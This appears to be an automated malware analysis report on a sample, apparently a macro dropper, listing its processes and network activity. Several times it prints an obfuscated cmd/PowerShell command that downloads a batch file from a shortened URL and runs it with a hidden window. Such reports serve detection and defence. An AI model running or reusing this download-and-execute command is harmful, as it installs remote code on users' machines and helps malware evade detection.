Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c po^wershe^ll -w 1 (nEw-oB`jecT Net.WebCL`I`eNT).('Down'+'loadFile').Invoke('http://rebrand.ly/WdBPApoMACRO','a.bat')
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 ./a.bat
Network activity
Connects to
- 're##and.ly':80
TCP
HTTP GET requests
- http://re##and.ly/WdBPApoMACRO
UDP
- DNS ASK re##and.ly
Miscellaneous
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 (nEw-oB`jecT Net.WebCL`I`eNT).('Down'+'loadFile').Invoke('http://rebrand.ly/WdBPApoMACRO','a.bat')
- '<SYSTEM32>\cmd.exe' /c po^wershe^ll -w 1 (nEw-oB`jecT Net.WebCL`I`eNT).('Down'+'loadFile').Invoke('http://rebrand.ly/WdBPApoMACRO','a.bat')' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 ./a.bat' (with hidden window)
